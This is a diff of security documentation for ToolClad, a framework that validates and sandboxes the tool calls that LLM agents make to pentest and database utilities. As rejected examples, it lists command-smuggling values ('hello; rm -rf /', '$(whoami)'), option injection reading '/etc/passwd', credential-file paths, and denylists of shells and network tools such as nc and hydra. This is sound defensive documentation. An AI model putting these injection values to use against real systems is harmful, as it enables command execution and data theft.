a/docs/security-model.md +++ b/docs/security-model.md @@ -21,20 +21,41 @@ The sandbox approach requires the security layer to understand every possible da All string-based types reject shell metacharacters by default: ``` -; | & $ ` ( ) { } [ ] < > ! \n \r +; | & $ ` ( ) { } [ ] < > ! ``` This is not optional sanitization -- it is the type system's default behavior. Any value containing these characters is rejected before it reaches command construction. The `sanitize = ["injection"]` annotation is the default for string types; it does not need to be declared explicitly. -Newline (`\n`) and carriage return (`\r`) are blocked across all string-based types. These prevent: +### Value Hygiene + +Beyond the metacharacter list, every *string-derived* type (`string`, `path`, `credential_file`, `regex_match`, `url`, `scope_target`, `duration`, `msf_options`) is checked, in this order, before any type-specific parsing: + +1. **NUL** -- a value containing `\0` is rejected (`must not contain NUL bytes`). This rule applies to **every** type, `enum` included. +2. **Control characters** -- any C0 control character (U+0000-U+001F, so `\n`, `\r`, and `\t` are all covered) and U+007F are rejected (`must not contain control characters`). +3. **Quotes and backslash** -- `'`, `"`, and `\` are rejected (`must not contain quote or backslash characters`). +4. **Whitespace** -- any Unicode whitespace is rejected (`must not contain whitespace`) unless the argument sets `allow_whitespace = true` **and** the manifest declares `command.exec` directly. A `template` that was compiled to `exec` at load is still template mode, where whitespace is always rejected. `msf_options` is exempt from this rule because the space is its `KEY VALUE` separator; `url` is never exempt. +5. **Leading dash** -- a value starting with `-` or `+` is rejected (`must not start with '-' or '+' (set allow_leading_dash = true to permit)`) unless the argument sets `allow_leading_dash = true`. This is what stops an argument value from being read as an option by the tool. + +Numeric types (`integer`, `number`, `port`) apply the leading-dash rule to the **output** value after range-checking or clamping: `-1` with no bounds is rejected, `-5` with `clamp = true` and `min = 1` yields `1` and passes, and `allow_leading_dash = true` permits a negative result. `enum` values come from the manifest's `allowed` list and are exempt from rules 2-5. + +Every `pattern` (on `[args.*]` and on custom types) is anchored before use: one leading `^` and one trailing `$` are stripped if present and the pattern is compiled as `^(?:pat)$` (Python uses `^(?:pat)\Z` with `re.match`, so a trailing newline cannot slip through). A pattern therefore always describes the whole value, never a substring. + +These rules prevent: - Command injection via newline splitting (`arg1\nmalicious_command`) +- Argument splitting and option injection (`-iL /etc/passwd`, `--script=...`) - Header injection in HTTP backends - Log injection in evidence transcripts +A shared negative suite, `tests/injection_vectors.json`, is run by all four runtimes so that every `reject` vector is rejected everywhere. + +## Unknown Manifest Keys + +Every parser refuses keys it does not know, at load, with `unknown key '
.' in manifest`. A typo such as `block_internall = true` therefore cannot silently disable a control. The only escape hatch is `toolclad validate --allow-unknown-keys`, which downgrades unknown keys to a printed warning; library loading is always strict. The complete key allowlist is listed in [Manifest Format](manifest-format.md#unknown-keys). + ## Array-Based Execution -ToolClad never invokes `sh -c` with a command string. Commands are dispatched via direct `execve` with an argument array. The preferred `exec` format declares the argv directly; the legacy `template` format is split via a quote-aware parser before dispatch: +ToolClad never invokes `sh -c` with a command string. Commands are dispatched via direct `execve` with an argument array. The canonical `exec` form declares the argv directly. The deprecated `template` form is tokenized **at load time**, on the trusted manifest string only, into the same array; substituted argument values are never re-split, a placeholder must be a whole unquoted token (a `{` inside quotes rejects the manifest), and the only placeholders that expand to more than one token (`__flags` mappings and `_` conditionals) draw their text from the manifest, not from the agent: ``` # exec format (preferred) — maps directly to execve: @@ -44,21 +65,40 @@ exec = ["nmap", "-sT", "-sV", "--max-rate", "1000", "10.0.1.0/24"] sh -c "nmap -sT -sV --max-rate 1000 10.0.1.0/24" ``` -Array-based execution means that even if a metacharacter somehow passed validation (it cannot, but defense in depth), the shell would never interpret it. There is no shell. +Array-based execution means that even if a metacharacter somehow passed validation (it cannot, but defense in depth), the shell would never interpret it. There is no shell. `[command] end_of_options = "--"` adds one more layer for tools that honor it: a literal `--` is inserted before the first user-argument token. -## HTTP Body JSON-Escaping +## Spawn-Path Hardening -When values are interpolated into HTTP body templates (`[http].body_template`), they are JSON-escaped before substitution. This prevents injection attacks where an agent-supplied value could break out of a JSON string field and alter the structure of the request body. Quotes, backslashes, newlines, and control characters are all escaped. +Every oneshot spawn, including the `executor` escape hatch, goes through the same hardened path: -## Platform-Aware Evidence Directories +- **Environment**: the child's environment is cleared and rebuilt from an allowlist -- `PATH` fixed to `/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`, plus `HOME`, `LANG`, `LC_ALL`, `TZ`, and `TERM` copied from the parent if set. For the `command.executor` escape hatch only, `TOOLCLAD_ARG_*`, `TOOLCLAD_SCAN_ID`, `TOOLCLAD_TOOL_NAME`, `TOOLCLAD_EVIDENCE_DIR`, and `TOOLCLAD_OUTPUT_DIR` are added. `TOOLCLAD_SECRET_*` is **never** passed to a child. +- **Secrets**: `{_secret:name}` resolves from the file named by `TOOLCLAD_SECRETS_FILE` (TOML, `name = "value"` at top level; rejected if group- or other-readable) or, failing that, from `TOOLCLAD_SECRET_` in the runtime's own environment. The file wins over the variable. A missing secret is a hard error. +- **Binary resolution**: `argv[0]` is resolved to an absolute path against the fixed `PATH` above at spawn time (or used as-is if it already contains a path separator); failure is an execution error. At load, when `tool.binary` is set and the command form is `exec`/`template`, the basename of `argv[0]` must equal the basename of `tool.binary`. +- **Interpreter denylist**: `argv[0]`'s basename may not be `sh`, `bash`, `zsh`, `dash`, `ksh`, `csh`, `tcsh`, `fish`, `ash`, `busybox`, `env`, `eval`, `xargs`, `python`, `python2`, `python3`, `perl`, `ruby`, `node`, `deno`, `bun`, `lua`, `php`, or `awk` unless the manifest sets `[tool] allow_interpreter = true`. This is a load-time check. +- **stdin**: always `/dev/null`. +- **cwd**: a per-invocation scratch directory created mode 0700 under the evidence root (`/-work`), removed after the run if empty. +- **umask**: 0077 for the child where the language offers a pre-exec hook (Rust, Python). +- **rlimits**: the Rust and Python runtimes set `RLIMIT_CORE = 0`, `RLIMIT_FSIZE = 1 GiB`, `RLIMIT_NOFILE = 1024` on the child, plus `RLIMIT_NPROC`, `RLIMIT_AS` and `RLIMIT_CPU` when `[tool.limits]` declares `nproc` / `address_space_bytes` / `cpu_seconds` (`nofile` and `fsize_bytes` override the defaults). `RLIMIT_NPROC` has no default because Linux counts it against every task the user owns, not the tool's own process tree, so any fixed value stops threaded tools on a busy host. **Go and JavaScript cannot set child rlimits portably and skip this step.** Deployments on those runtimes that need resource limits must apply them outside ToolClad (cgroups, a container runtime, or `ulimit` in the hosting process). -Evidence output directories use platform-appropriate temporary directories (`/tmp` on Linux/macOS, `%TEMP%` on Windows) when no explicit `output_dir` is configured. This ensures evidence capture works correctly across operating systems without hardcoded paths. +## HTTP Backend Hardening + +- **Secrets before arguments**: `{_secret:name}` is expanded on the manifest template (`url`, every `headers` value, `body_template`) *before* any `{arg}` is interpolated, so an argument value can never introduce a secret reference. The `url` validator additionally rejects `{` and `}`. +- **Percent-encoded URL interpolation**: values placed in `http.url` are percent-encoded with each language's standard encoder -- path segments with the path set, query values with the query set. +- **JSON-escaped bodies**: values interpolated into `body_template` are JSON-escaped before substitution. Quotes, backslashes, newlines, and control characters are all escaped, so a value cannot break out of a JSON string field and alter the request body. +- **No redirects**: redirects are never followed. A 3xx response is surfaced as `status: "redirect_blocked"`. +- **Unexpanded `command`**: the envelope's `command` holds `" "`, never the expanded URL, so secrets never reach the agent or the evidence store. +- **Egress lint**: `[http]` manifests are treated as `network_egress = true`, so every network-target argument must set `block_internal = true`. + +## Evidence Directories and Files + +The evidence root is `TOOLCLAD_EVIDENCE_DIR` when set, otherwise `/toolclad-evidence` using the platform's temporary directory (`/tmp` on Linux/macOS, `%TEMP%` on Windows). It is created once, mode 0700. Scan ids carry 128 bits of entropy. Raw output files are opened with `O_NOFOLLOW | O_EXCL | O_CREAT` and mode 0600 (the JavaScript runtime uses the `wx` flag plus an `lstat` symlink check), so a pre-planted symlink cannot redirect evidence writes. ## HTTP Error Semantics HTTP backend responses are classified by status code: - **2xx**: `success` status in the evidence envelope +- **3xx**: `redirect_blocked` status -- redirects are not followed - **4xx**: `client_error` status -- the request was malformed or unauthorized - **5xx**: `server_error` status -- the upstream service failed @@ -66,7 +106,7 @@ This classification gives LLM agents actionable error semantics for self-correct ## Process Group Kill -Tools are spawned in a new process group (PGID). When a timeout fires, the executor kills the entire process group, not just the top-level process. This prevents: +Tools are spawned in a new process group (PGID). When `timeout_seconds` is exceeded, the executor sends `SIGTERM` to the entire process group, waits a grace period of `TOOLCLAD_KILL_GRACE_MS` milliseconds (default 2000), then sends `SIGKILL` to the group. Output captured before the kill is returned in the envelope with `status: "timeout"`. `timeout_seconds = 0` is refused at load (`timeout_seconds must be greater than zero`); the default is 60. Killing the whole group prevents: - Zombie child processes that outlive the timeout - Background processes spawned by the tool that continue running @@ -76,26 +116,82 @@ Tools are spawned in a new process group (PGID). When a timeout fires, the execu The `path` type rejects: -- Path traversal: `../`, `..\\` +- Path traversal: any `..` path component, so `../x`, `foo/..`, and a bare `..` are all rejected - Absolute paths: `/etc/shadow`, `C:\Windows\System32` -- Null bytes: `\0` -Paths are constrained to relative locations within the project directory. A tool cannot read or write outside its intended scope. +NUL bytes are not a `path`-specific rule: the validator rejects `\0` in a value of **every** type (see [Value Hygiene](#value-hygiene)). Paths are constrained to relative locations within the project directory. A tool cannot read or write outside its intended scope. + +## Host and IP Policy + +Network-target types (`scope_target`, `url` hosts, `ip_address`, `cidr`) share one range table in all four runtimes: + +- **Always blocked**, regardless of any manifest setting: IPv4 link-local `169.254.0.0/16` (which includes the cloud metadata address `169.254.169.254`), IPv6 link-local `fe80::/10`, and the IPv4-mapped IPv6 forms of both. Also always blocked: the internal-name denylist -- exact `localhost` or any host ending in `.localhost`, `.local`, `.internal`, `.home.arpa`, `.lan`, `.intranet`, `.corp`, `.private`, or exactly `metadata.google.internal` (`resolves to an internal name — always blocked`). +- **Blocked when `block_internal = true`**: IPv4 loopback `127.0.0.0/8`, private `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, CGNAT `100.64.0.0/10`, unspecified `0.0.0.0/8`, broadcast `255.255.255.255`, documentation `192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, benchmarking `198.18.0.0/15`, reserved `240.0.0.0/4`; IPv6 loopback `::1`, unspecified `::`, unique-local `fc00::/7`, documentation `2001:db8::/32`; and the IPv4-mapped IPv6 forms of all of these. +- **Hostnames** are examined before any lookup: punycode (`xn--`) labels and non-canonical IP literal encodings (`0x...`, all-numeric labels, octal or shorthand forms) are rejected; a hostname whose first four labels form a dotted quad (`127.0.0.1.nip.io`, `169.254.169.254.xip.io`) or a leading dashed quad (`10-0-0-1.nip.io`) is treated as that IP. +- **DNS under `block_internal`**: a hostname is resolved and **every** A/AAAA answer is checked against the table; resolution failure is a rejection (`could not resolve host '' to verify it is public (block_internal)`). The synchronous JavaScript `validateArg` cannot resolve names and refuses a hostname under `block_internal`; use `validateArgAsync`. +- **CIDR values** are tested for **overlap** with each blocked range, not just their base address, so `8.0.0.0/5` fails under `block_internal` because it overlaps `10.0.0.0/8`. +- **Egress lint**: when `[tool] network_egress = true`, when the dispatched binary is a known egress tool (`curl`, `wget`, `nmap`, `nc`, `ncat`, `netcat`, `masscan`, `telnet`, `ssh`, `ping`, `fping`, `httpie`, `http`, `wfuzz`, `ffuf`, `hydra`, `nikto`), or when the manifest uses `[http]` or `[browser]`, every argument of type `scope_target`, `url`, `ip_address`, `cidr`, or a custom type based on one of those must set `block_internal = true`, or the manifest is refused at load. + +See [Type System](type-system.md#host-and-ip-policy-block_internal) for the per-type details. ## Scope Enforcement -Parameters with type `scope_target`, `url` (with `scope_check = true`), `cidr`, or `ip_address` are automatically validated against the project's scope definition. +Scope enforcement is opt-in per argument and fail-closed. An argument of type `scope_target`, `url`, `ip_address`, or `cidr` that sets `scope_check = true` is checked against the project scope file during validation, before the command is built. **`scope_target` alone is only a shape check** -- it guarantees the value is a well-formed IP, CIDR, or hostname. Allowlisting against the project scope requires `scope_check = true`. + +### Scope File + +```toml +# scope/scope.toml +[scope] +allowed_cidrs = ["10.0.1.0/24"] +allowed_domains = ["example.com", "*.example.com"] +blocked_cidrs = [] +blocked_domains = [] +``` + +Unknown keys in the scope file are refused, exactly as in manifests. + +Discovery order: + +1. The path in the `TOOLCLAD_SCOPE_FILE` environment variable (absolute or relative). +2. `scope/scope.toml`, searched upward from the manifest's directory (or from the current working directory when a manifest is loaded from a string), stopping at the filesystem root. + +### Semantics + +- **Fail-closed**: if `scope_check = true` and no scope file is reachable, the value is rejected -- `scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)`. There is no implicit "allow everything" when the file is missing. +- **Checked value**: the host for `url` arguments (extracted after scheme, userinfo, and port handling); the value itself for the other types. +- **Blocked before allowed**: blocked rules are evaluated first and always win. +- **Domain rules**: an exact rule matches when it equals the host, case-insensitively. A wildcard rule `*.suffix` matches when the host ends with `.suffix` -- a strict subdomain at any depth. `*.example.com` matches `app.example.com` and `deep.sub.example.com` but **not** the apex `example.com` and **not** `evil-example.com`. To allow the apex, list it explicitly, as the repository's starter `scope/scope.toml` does. +- **IP values** match when contained in an allowed CIDR. +- **CIDR values** match only when **fully contained** in an allowed CIDR; a range that merely overlaps an allowed range is out of scope. +- **No match**: `target '' is not in scope`. + +The check is defense in depth alongside external authorization: even if a policy bug allows an out-of-scope target, the type system catches it. The repository ships `tests/scope_vectors.json`, which all four runtimes must pass. + +For browser mode, a hosting runtime extends URL scope enforcement to navigation, redirects, and link clicks via `[browser.scope]`. The reference runtimes parse `[browser.scope]` but do not execute browser sessions; see [Browser Mode](browser-mode.md). + +## Policy Gate + +Every `execute` call passes through a policy gate before anything is spawned: + +``` +GateDecision = Allow | Deny(reason) +Gate = fn(&Manifest, &validated_args) -> GateDecision +``` -Scope enforcement supports: +The default gate **denies** when `tool.human_approval = true` (`manifest requires human approval (human_approval = true)`) or when `tool.risk_tier` is `high` or `critical` (`risk_tier '' requires explicit approval`), and allows otherwise. A denied call returns or raises a structured error whose message starts with `policy gate denied: `. Nothing is executed on denial. -- **IP addresses**: Exact match against allowed IPs -- **CIDR ranges**: Membership check against allowed networks -- **Domain names**: Pattern matching against allowed domains -- **URL hosts**: Host extraction and domain matching +- The CLIs expose `run --approve`, which switches to an allow-all gate for that invocation. +- Library callers can supply their own gate (`execute_with_gate` in Rust, `ExecuteWithGate` in Go, `execute(..., gate=...)` in Python, `execute(manifest, args, { gate })` in JavaScript) to integrate an approval workflow or a policy engine. See [API Reference](api-reference.md). +- **Cedar evaluation is external.** The reference runtimes do not evaluate Cedar policies; `[tool.cedar]` is metadata for a hosting runtime's policy engine, which can be plugged in through the gate seam. -The scope check runs in the executor, after Cedar authorization but before command execution. This is defense in depth: even if a Cedar policy bug allows an out-of-scope target, the type system catches it. +## Output Caps and Fail-Closed Schema Validation -For browser mode, URL scope enforcement extends to navigation, redirects, and link clicks. See [Browser Mode](browser-mode.md) for details. +- `[output] max_bytes` (default `8388608`, 8 MiB) caps stdout and stderr independently. On overflow, capture stops and the envelope carries `"output_truncated": true`; the status is unaffected. +- XML output containing `: "}`, and preserves the raw output under `results.raw_output`. Malformed output never reaches the agent as if it were valid. +- A `parser` value that is not one of the `builtin:*` names is refused at load (`custom output parsers are not supported by the reference runtimes`); there is no path for an external script to run in the output pipeline. ## Cedar Policy Integration @@ -107,7 +203,7 @@ resource = "PenTest::ScanTarget" action = "execute_tool" ``` -The runtime's Gate phase builds a Cedar authorization request from the manifest metadata plus the agent's runtime context (phase, environment, agent identity). Cedar policies in `policies/` evaluate this request and produce `ALLOW`, `DENY`, or `PENDING` (for human approval). +A hosting runtime's Gate phase builds a Cedar authorization request from the manifest metadata plus the agent's runtime context (phase, environment, agent identity). Cedar policies in `policies/` evaluate this request and produce `ALLOW`, `DENY`, or `PENDING` (for human approval). The reference runtimes do not evaluate Cedar themselves; they ship the deny-by-default [policy gate](#policy-gate) above and a gate seam through which a hosting runtime wires Cedar in. ### Automatic Policy Generation @@ -241,8 +337,9 @@ Scope validation involves non-trivial logic: CIDR containment math, IPv4/IPv6 no To mitigate this, ToolClad provides: -1. **Normative test vectors** (`tests/scope_vectors.json`) — a shared set of test cases that all implementations must pass -2. **Centralization path** — production deployments can use a single scope validation endpoint (gRPC/HTTP) or compile a Rust-based validator to WebAssembly for cross-language use +1. **Normative test vectors** (`tests/scope_vectors.json` for scope matching, `tests/injection_vectors.json` for argument and manifest rejection) — shared test cases that all implementations must pass +2. **Fuzz targets** in each runtime that assert the validator never panics and never returns a value containing whitespace, a quote, or a leading dash for a string-derived type without the corresponding opt-in +3. **Centralization path** — production deployments can use a single scope validation endpoint (gRPC/HTTP) or compile a Rust-based validator to WebAssembly for cross-language use ## Static Analysis @@ -261,7 +358,7 @@ This enables formal verification: you can prove properties about valid invocatio ``` SchemaPin verifies the manifest has not been modified -> The manifest constrains what the tool can accept - -> Cedar authorizes whether this invocation is allowed + -> The policy gate (and, in a hosting runtime, Cedar) authorizes this invocation -> The executor validates arguments against manifest types -> The executor constructs and runs the command -> Each layer trusts the one before it @@ -271,6 +368,6 @@ Each layer in the chain has a single responsibility: 1. **SchemaPin**: Integrity -- the manifest is authentic and unmodified 2. **Manifest**: Interface -- only declared operations with typed parameters -3. **Cedar**: Authorization -- this agent, in this context, is allowed to invoke this tool +3. **Policy gate / Cedar**: Authorization -- this agent, in this context, is allowed to invoke this tool 4. **Executor**: Validation -- all parameter values satisfy their type constraints -5. **Runtime**: Execution -- array-based dispatch with timeout and process isolation +5. **Runtime**: Execution -- array-based dispatch with a hardened environment, timeout, and process isolation diff --git a/docs/session-mode.md b/docs/session-mode.md index 6805628..261cb95 100644 --- a/docs/session-mode.md +++ b/docs/session-mode.md @@ -5,6 +5,9 @@ description: Interactive CLI sessions with per-interaction governance # Session Mode +> **Status: parsed and validated, not executable by the reference runtimes.** +> The Rust, Go, JavaScript and Python runtimes in this repository load `[session]` manifests, check every key against the manifest key allowlist, and serve `toolclad validate` and `toolclad schema` for them. They do **not** run sessions: calling `execute` (or `toolclad run`) on a session manifest is refused with `session mode is parsed but not yet executable in the reference implementation`. Everything below describes the contract a hosting runtime such as Symbiont implements on top of the parsed manifest; none of the PTY, prompt-detection, or per-interaction gating behavior is enforced by the reference CLIs or libraries. + Session mode governs interactive CLI tools -- programs that stay alive across multiple interactions and maintain internal state. Tools like `psql`, `msfconsole`, `redis-cli`, `kubectl exec`, and `gdb` accept commands over time, where each command changes the tool's internal state and carries a different risk level. ## What Session Mode Solves @@ -26,8 +29,9 @@ A psql session manifest with read and write commands at different risk tiers: # tools/psql_session.clad.toml [tool] name = "psql_session" +version = "1.0.0" binary = "psql" -mode = "session" +mode = "session" # Advisory; derived from the [session] section when absent description = "Governed PostgreSQL interactive session" risk_tier = "medium" diff --git a/docs/type-system.md b/docs/type-system.md index 6b67374..909c7a8 100644 --- a/docs/type-system.md +++ b/docs/type-system.md @@ -1,16 +1,32 @@ # Type System -ToolClad provides 14 built-in types (10 core + 4 extended) that cover the validation patterns repeated across tool wrappers. Every type includes injection sanitization by default. Types are designed so that "valid according to the type" means "safe to interpolate into a command." +ToolClad provides 15 built-in types (11 core + 4 extended) that cover the validation patterns repeated across tool wrappers. Every type includes injection sanitization by default. Types are designed so that "valid according to the type" means "safe to interpolate into a command." -## Injection Sanitization +## Injection Sanitization and Value Hygiene All string-based types reject shell metacharacters by default: ``` -Blocked characters: ; | & $ ` ( ) { } [ ] < > ! \n \r +Blocked characters: ; | & $ ` ( ) { } [ ] < > ! ``` -Newline injection (`\n`, `\r`) is blocked on all string-based types. This prevents argument splitting, header injection, and command chaining. The command is never constructed if validation fails. +In addition, every **string-derived** type (`string`, `path`, `credential_file`, `regex_match`, `url`, `scope_target`, `duration`, `msf_options`) is checked, in this order, before any type-specific parsing: + +| # | Rule | Error | Opt-out | +|---|------|-------|---------| +| 1 | No NUL byte (`\0`) -- applies to **every** type, including `enum` | `must not contain NUL bytes` | none | +| 2 | No control characters (U+0000-U+001F, U+007F); this covers `\n`, `\r`, `\t` | `must not contain control characters` | none | +| 3 | No `'`, `"`, or `\` | `must not contain quote or backslash characters` | none | +| 4 | No Unicode whitespace | `must not contain whitespace` | `allow_whitespace = true`, honored only when the manifest declares `command.exec` directly; `msf_options` is exempt (the space is its separator); `url` is never exempt | +| 5 | No leading `-` or `+` | `must not start with '-' or '+' (set allow_leading_dash = true to permit)` | `allow_leading_dash = true` | + +Numeric types (`integer`, `number`, `port`) apply rule 5 to the **output** value after range-checking or clamping: `-1` with no bounds is rejected, `-5` with `clamp = true` and `min = 1` becomes `1` and passes, and `allow_leading_dash = true` permits a negative result. `enum` values are exempt from rules 2-5 because they come from the manifest's `allowed` list. + +`allow_whitespace` is only honored in `exec` mode: a `template` that was compiled to `exec` at load is still validated in template mode, where whitespace is always rejected. In `exec` mode a value stays exactly one argv element no matter what it contains, which is why whitespace can be permitted there. + +**Pattern anchoring.** Every `pattern` -- on `[args.*]` and on custom types -- is anchored before use: one leading `^` and one trailing `$` are stripped if present, then the pattern is compiled as `^(?:pat)$`. Python uses `^(?:pat)\Z` with `re.match` so a trailing newline cannot match. A pattern always describes the whole value, never a substring. + +These rules prevent argument splitting, option injection, header injection, and command chaining. The command is never constructed if validation fails. Even if injection characters somehow passed type validation, array-based execution (`execve`, no `sh -c`) treats them as literal strings. Injection sanitization is the first defense layer; direct `execve` is the second. @@ -20,13 +36,13 @@ Even if injection characters somehow passed type validation, array-based executi ### `string` -General-purpose text. Optionally constrained by regex `pattern`. When `sanitize = ["injection"]` is set, shell metacharacters are explicitly rejected. Without explicit sanitization, strings are still validated against any declared `pattern`. +General-purpose text. Optionally constrained by an anchored regex `pattern`. Shell metacharacters and the value-hygiene rules above are applied by default; `sanitize = ["injection"]` makes that explicit. **Validation rules:** -- Trim whitespace -- If `sanitize = ["injection"]`, reject shell metacharacters -- If `pattern` is declared, value must match the regex +- Value hygiene (NUL, control characters, quotes/backslash, whitespace, leading dash) +- Reject shell metacharacters +- If `pattern` is declared, the whole value must match `^(?:pattern)$` - Empty strings are allowed unless `required = true` and no `default` is set ```toml @@ -39,11 +55,17 @@ type = "string" pattern = "^(exploit|auxiliary|post)/[a-zA-Z0-9_/]+$" sanitize = ["injection"] description = "Metasploit module path" + +[args.headers] +type = "string" +allow_whitespace = true # honored only when [command] uses exec = [...] +default = "" +description = "One extra header as 'Key: Value'" ``` -**Valid:** `hello-world`, `exploit/windows/smb/ms17_010` +**Valid:** `hello-world`, `exploit/windows/smb/ms17_010`, `X-Trace: on` (only with `allow_whitespace = true` in `exec` mode) -**Rejected:** `hello; rm -rf /` (injection), `$(whoami)` (injection), `Hello123` (pattern mismatch for `^[a-z]+$`) +**Rejected:** `hello; rm -rf /` (injection), `$(whoami)` (injection), `Hello123` (pattern mismatch for `^[a-z]+$`), `a b` (whitespace), `-v` (leading dash), `it's` (quote) ### `integer` @@ -51,9 +73,11 @@ Numeric value parsed from a string. Optional `min`/`max` bounds with optional `c **Validation rules:** +- The string form must match `^[+-]?\d+$` -- no surrounding whitespace, no `0x10`, no `1_000`, no empty string - Must parse as a signed 64-bit integer - If `min` is set and value is below, reject (or clamp if `clamp = true`) - If `max` is set and value is above, reject (or clamp if `clamp = true`) +- The resulting value must not start with `-` or `+` unless `allow_leading_dash = true` ```toml [args.threads] @@ -65,11 +89,37 @@ default = 4 description = "Concurrent threads" ``` -**Valid:** `42`, `-1` (if no min constraint), `0` +**Valid:** `42`, `0`, `-1` (only with `allow_leading_dash = true`) + +**Clamped:** `100` becomes `64` (when `max = 64, clamp = true`), `-5` becomes `1` (when `min = 1, clamp = true`; the clamped output has no leading dash, so it passes) + +**Rejected:** `abc` (not a number), `100` (when `max = 64, clamp = false`), `-1` (leading dash without `allow_leading_dash`), ` 7 ` (whitespace), `0x10` + +### `number` -**Clamped:** `100` becomes `64` (when `max = 64, clamp = true`), `0` becomes `1` (when `min = 1, clamp = true`) +Floating-point value parsed from a string. Optional `min_float`/`max_float` bounds with optional `clamp` behavior. -**Rejected:** `abc` (not a number), `100` (when `max = 64, clamp = false`) +**Validation rules:** + +- Must parse as a finite float; `NaN`, `inf`, and `-inf` are rejected +- If `min_float` is set and value is below, reject (or clamp if `clamp = true`) +- If `max_float` is set and value is above, reject (or clamp if `clamp = true`) +- The output is re-rendered from the parsed float with the shortest round-trip representation, so all four runtimes produce the same string +- The resulting value must not start with `-` or `+` unless `allow_leading_dash = true` + +```toml +[args.confidence] +type = "number" +min_float = 0.0 +max_float = 1.0 +clamp = true +default = 0.5 +description = "Confidence threshold" +``` + +**Valid:** `0.75`, `1`, `2.5e-3` + +**Rejected:** `NaN`, `inf`, `abc`, `-0.5` (leading dash without `allow_leading_dash`) ### `port` @@ -77,7 +127,7 @@ Integer in the range 1--65535. No additional constraints needed. **Validation rules:** -- Must parse as an unsigned 16-bit integer +- The string form must match `^\d+$` - Must be between 1 and 65535 inclusive (port 0 is rejected) ```toml @@ -93,11 +143,12 @@ description = "Target port" ### `boolean` -Exactly `"true"` or `"false"` (strings). No truthy/falsy interpretation. No `"yes"`, `"no"`, `"1"`, `"0"`. +The strings `true` or `false`, compared case-insensitively and normalized to lowercase. No truthy/falsy interpretation. No `"yes"`, `"no"`, `"1"`, `"0"`. **Validation rules:** -- Value must be exactly the string `"true"` or `"false"` +- Value must equal `true` or `false` ignoring case +- The normalized lowercase form is what reaches the command ```toml [args.verbose] @@ -106,9 +157,9 @@ default = "false" description = "Enable verbose output" ``` -**Valid:** `true`, `false` +**Valid:** `true`, `false`, `True`, `FALSE` (normalized to `true` / `false`) -**Rejected:** `yes`, `no`, `1`, `0`, `True`, `FALSE` +**Rejected:** `yes`, `no`, `1`, `0`, ` true` (whitespace) ### `enum` @@ -118,6 +169,7 @@ Value must be in the declared `allowed` list. Exact string match, case-sensitive - The `allowed` field must be present in the arg definition - Value must exactly match one entry in the `allowed` list +- NUL bytes are rejected; the other hygiene rules do not apply because the value is drawn from the manifest's list ```toml [args.scan_type] @@ -132,47 +184,57 @@ description = "Type of scan to perform" ### `scope_target` -Injection-safe string validated for use as a network target. Blocks wildcards (`*`). Valid values: IPv4 addresses, IPv6 addresses, CIDR ranges, and hostnames. Automatically checked against the project scope (`scope/scope.toml`) when running in Symbiont. +Injection-safe string validated for use as a network target. Blocks wildcards (`*`). Valid values: IPv4 addresses, IPv6 addresses, CIDR ranges (IPv4 and IPv6), and hostnames. On its own this is a **shape check**: it guarantees the value is a well-formed target. Allowlisting against the project scope requires `scope_check = true`, and blocking internal ranges requires `block_internal = true`. **Validation rules:** -- Reject all shell metacharacters -- Reject wildcard characters (`*`) -- Must match one of: valid IPv4, valid IPv6, valid CIDR (IPv4), or valid hostname +- Value hygiene (NUL, control characters, quotes/backslash, whitespace, leading dash) +- Reject all shell metacharacters and wildcard characters (`*`) +- ASCII only; punycode (`xn--`) labels are rejected +- Must match one of: canonical IPv4, canonical IPv6, IPv4 or IPv6 CIDR, or a valid hostname. Non-canonical IP literal encodings (`0x7f000001`, `2130706433`, `0177.0.0.1`, `127.1`) are rejected; a numeric top-level label and a trailing dot are rejected +- The [host and IP policy](#host-and-ip-policy-block_internal) applies: link-local ranges and the internal-name denylist are always blocked; `block_internal = true` blocks the private ranges too and resolves hostnames +- If `scope_check = true`, the value is checked against `scope/scope.toml` (fail-closed) ```toml [args.target] type = "scope_target" required = true +block_internal = true # required when the tool reaches the network +scope_check = true # optional: allowlist against scope/scope.toml description = "Target CIDR, IP, or hostname" ``` -**Valid:** `10.0.1.1`, `10.0.1.0/24`, `example.com`, `::1`, `2001:db8::1` +**Valid:** `10.0.1.1`, `10.0.1.0/24`, `example.com`, `2001:db8::/32` (shape only -- with `block_internal = true` the private and documentation ranges here are rejected) -**Rejected:** `*.example.com` (wildcard), `10.0.0.0/8; rm -rf /` (injection), `not a valid host` (invalid format) +**Rejected:** `*.example.com` (wildcard), `10.0.0.0/8; rm -rf /` (injection), `not a valid host` (whitespace / invalid format), `-example.com` (leading dash), `localhost` (always blocked), `169.254.169.254` (always blocked), `127.0.0.1.nip.io` (embedded IP literal), `example.com.` (trailing dot) ### `url` -Valid URL structure. Must start with `http://` or `https://`. Optional `schemes` restriction and `scope_check` flag. +A `scheme://host[:port][/path][?query][#fragment]` URL with an allowlisted scheme, no userinfo, and a host that passes the host/IP policy. Optional `schemes`, `block_internal`, and `scope_check`. -**Validation rules:** +**Validation rules, in order:** -- Reject shell metacharacters -- Must match URL pattern: `^https?://[a-zA-Z0-9\-\.]+(/[^\s]*)?$` -- If `schemes` is set, the URL scheme must be in the list -- If `scope_check = true`, the host is extracted and validated against the project scope +1. Value hygiene (NUL, control characters, quotes/backslash, leading dash) and the shell-metacharacter blocklist. Whitespace is **never** allowed in a `url`, even with `allow_whitespace = true`. The metacharacter blocklist rejects `{` and `}`, so a value can never carry a `{_secret:...}` reference. +2. The value must contain `://`; it is split into `scheme` and the remainder. +3. The scheme (compared lowercase) must be in `schemes` when that list is non-empty, otherwise in the default `["http", "https"]`. +4. `javascript`, `data`, `file`, `blob`, `about`, `gopher`, `dict`, `ftp`, `ldap`, `jar`, `netdoc`, `mailto`, `ws`, and `wss` are rejected with a dedicated message **even if listed in `schemes`**. +5. Userinfo is rejected: an `@` before the first `/` of the authority fails. +6. The host is everything between `://` and the first `/`, `?`, or `#`. An empty host is rejected. A bracketed IPv6 literal `[...]` is unwrapped. A trailing `:port` is split off and must be 1-65535. +7. The [host and IP policy](#host-and-ip-policy-block_internal) is applied to the host: punycode and non-canonical IP literals are rejected, embedded IP literals are unwrapped, the internal-name denylist and always-blocked ranges apply, and `block_internal = true` adds the private ranges and DNS resolution. +8. If `scope_check = true`, the host is checked against `scope/scope.toml` (fail-closed). ```toml [args.target_url] type = "url" -schemes = ["http", "https"] # Only these URL schemes allowed +schemes = ["http", "https"] # Only these 